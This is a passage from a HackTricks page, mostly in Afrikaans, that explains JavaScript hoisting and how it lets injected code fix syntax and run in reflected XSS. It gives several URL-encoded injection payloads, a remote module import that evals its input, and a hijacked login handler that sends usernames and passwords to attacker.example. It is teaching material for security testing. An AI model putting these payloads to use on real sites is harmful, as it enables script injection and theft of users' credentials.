JS Hoisting

Reading time: 7 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

In die JavaScript-taal word 'n meganisme beskryf wat bekend staan as Hoisting, waar deklarasies van veranderlikes, funksies, klasse, of imports konseptueel na die bokant van hul scope opgetel word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript-enjin uitgevoer, wat die skrip in verskeie pase deurgaan.

Tydens die eerste pas parse die enjin die kode om na sintaksfoute te kyk en transformeer dit na 'n abstract syntax tree. Hierdie fase sluit hoisting in, 'n proses waar sekere deklarasies na die bokant van die uitvoeringskonteks verskuif word. As die parsing-fase suksesvol is en geen sintaksfoute aandui nie, gaan die skripuitvoering voort.

Dit is kritiek om te verstaan dat:

  1. Die skrip moet vry wees van sintaksfoute voordat uitvoering kan plaasvind. Sintaksisreëls moet streng nagekom word.
  2. Die plasing van kode binne die skrip beïnvloed uitvoering as gevolg van hoisting, alhoewel die uitgevoerde kode van sy tekstuele voorstelling kan verskil.

Tipes van Hoisting

Gebaseer op inligting van MDN, is daar vier onderskeibare tipes hoisting in JavaScript:

  1. Value Hoisting: Maak dit moontlik om 'n veranderlike se waarde binne sy scope te gebruik voordat die deklarasielyn voorkom.
  2. Declaration Hoisting: Laat toe om na 'n veranderlike binne sy scope te verwys voordat dit verklaar is sonder om 'n ReferenceError te veroorsaak, maar die veranderlike se waarde sal undefined wees.
  3. Hierdie tipe verander die gedrag binne sy scope weens die veranderlike se deklarasie voor sy werklike deklarasielyn.
  4. Die deklarasie se newe-effekte vind plaas voordat die res van die kode wat dit bevat, geëvalueer word.

In meer detail toon funksie-deklarasies tipe 1 hoisting-gedrag. Die var sleutelwoord demonstreer tipe 2-gedrag. Lexical-deklarasies, wat let, const, en class insluit, toon tipe 3-gedrag. Laastens is import-verklarings uniek omdat hulle opgetel word met beide tipe 1 en tipe 4-gedrag.

Scenario's

Dus, as jy scenario's het waar jy kan Inject JS code after an undeclared object gebruik word, kan jy die sintaksis fix the syntax deur dit te verklaar (sodat jou kode uitgevoer word in plaas daarvan om 'n fout te gooi):

javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Meer scenario's

javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Voorkom latere deklarasies deur 'n naam met const te sluit

As jy kan uitvoer voordat 'n top-level function foo(){...} ontleed word, sal die definiering van 'n leksikale binding met dieselfde naam (bv. const foo = ...) verhoed dat die latere funksie-deklarasie daardie identifiseerder herbind. Dit kan in RXSS misbruik word om kritieke handlers wat later op die bladsy gedefinieer is te kap:

javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Aantekeninge

  • Dit berus op uitvoerorde en globale (topvlak) scope.
  • As jou payload binne eval() uitgevoer word, onthou dat const/let binne eval blokgestuur is en nie globale bindings sal skep nie. Injecteer 'n nuwe <script> element met die kode om 'n werklike globale const te vestig.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks